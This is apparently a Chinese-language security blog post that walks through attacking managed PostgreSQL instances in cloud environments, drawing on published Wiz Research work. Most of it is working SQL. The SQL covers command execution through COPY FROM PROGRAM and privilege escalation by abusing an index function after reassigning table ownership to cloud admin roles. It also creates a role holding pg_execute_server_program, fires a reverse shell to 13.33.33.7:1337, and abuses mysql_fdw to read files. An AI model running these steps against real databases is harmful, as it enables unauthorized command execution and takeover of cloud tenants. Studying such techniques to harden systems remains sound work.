2025-07-26 09:09 北京
云环境下的PostgreSQL渗透
前段时间因为有个项目涉及到云环境下的渗透,于是学习了Wiz Research关于pg渗透的文章
目前在云环境下给用户的pg账号,都是经过降权的账号,非真正的超管用户,是无法执行命令的。
如果有SUPERUSER权限,可以直接执行命令
CREATE TABLE shell_results (data text);
COPY shell_results FROM PROGRAM'/usr/bin/id';
SELECT * from shell_results;
如果不清楚自己的权限,可以通过下面的命令来查询自己的权限
SELECT rolname,
trim(',' from
CASE WHEN rolsuper THEN 'SUPERUSER,' ELSE '' END ||
CASE WHEN rolinherit THEN 'INHERIT,' ELSE '' END ||
CASE WHEN rolcreaterole THEN 'CREATEROLE,' ELSE '' END ||
CASE WHEN rolcreatedb THEN 'CREATEDB,' ELSE '' END ||
CASE WHEN rolcanlogin THEN 'LOGIN,' ELSE '' END ||
CASE WHEN rolreplication THEN 'REPLICATION,' ELSE '' END ||
CASE WHEN rolbypassrls THEN 'BYPASSRLS,' ELSE '' END
) as permissions
FROM pg_roles;
SELECT datname, pg_catalog.pg_get_userbyid(datdba) AS owner FROM pg_catalog.pg_database;
SELECT
n.nspname AS schema_name,
c.relname AS table_name,
pg_catalog.pg_get_userbyid(c.relowner) AS owner_name
FROM
pg_catalog.pg_class c
JOIN
pg_catalog.pg_namespace n ON n.oid = c.relnamespace
WHERE
c.relkind = 'r' -- 'r' 表示普通表 (regular table)
AND n.nspname NOT IN ('pg_catalog', 'information_schema', 'pg_toast') -- 排除系统模式
ORDER BY
schema_name, table_name;
WITH RECURSIVE effective_roles AS (
-- 当前用户直接所属的角色
SELECT
m.roleid AS parent_role_oid,
m.member AS member_role_oid
FROM
pg_auth_members m
WHERE
m.member = (SELECT oid FROM pg_roles WHERE rolname = current_user)
UNION ALL
-- 递归地查找这些角色所属的其他角色
SELECT
m.roleid,
m.member
FROM
pg_auth_members m
INNER JOIN
effective_roles er ON m.member = er.parent_role_oid
)
SELECT DISTINCT
r.rolname
FROM
pg_roles r
WHERE
r.oid IN (SELECT parent_role_oid FROM effective_roles)
ORDER BY
r.rolname;
如果能将表的owner修改为超管用户rdsAdmin,可以配合ALTER加索引函数实现命令执行
CREATE TABLE test_table(data text);
ALTER TABLE test_table owner to "rdsAdmin";
INSERT INTO test_table VALUES ('dummy content');
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text LANGUAGE sql IMMUTABLE AS 'select ''nothing'';';
CREATE INDEX index_malicious ON public.test_table (suid_function(data));
ALTER TABLE test_table OWNER TO cloudsqladmin;
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text LANGUAGE sql VOLATILE AS 'COPY public.shell_commands_results (data) FROM PROGRAM ''/usr/bin/id''; select ''test'';';
如果用户有用CREATEROLE权限,可直接实现命令执行
CREATE USER james CREATEDB IN GROUP
pg_read_server_files,
pg_write_server_files,
pg_execute_server_program ROLE postgres;
SET ROLE "james";
COPY shell_results FROM program '/bin/bash -c "bash -i >& /dev/tcp/13.33.33.7/1337 0>&1"';
如果pg安装了mysql扩展,可能存在文件读取漏洞
CREATE SERVER mysql_server FOREIGN DATA WRAPPER mysql_fdw OPTIONS(host'172.31.13.58',port'3306');
CREATE USER MAPPING FOR CURRENT_USER SERVER mysql_server OPTIONS (username 'linux_hosts', password 'root');
CREATE FOREIGN TABLE test(id int) SERVER mysql_server OPTIONS (dbname 'a', table_name 'test');
select * from test;
DROP USER MAPPING FOR root SERVER mysql_server;
DROP SERVER mysql_server CASCADE;
云存在隔离问题:PostgreSQL 漏洞影响多个云供应商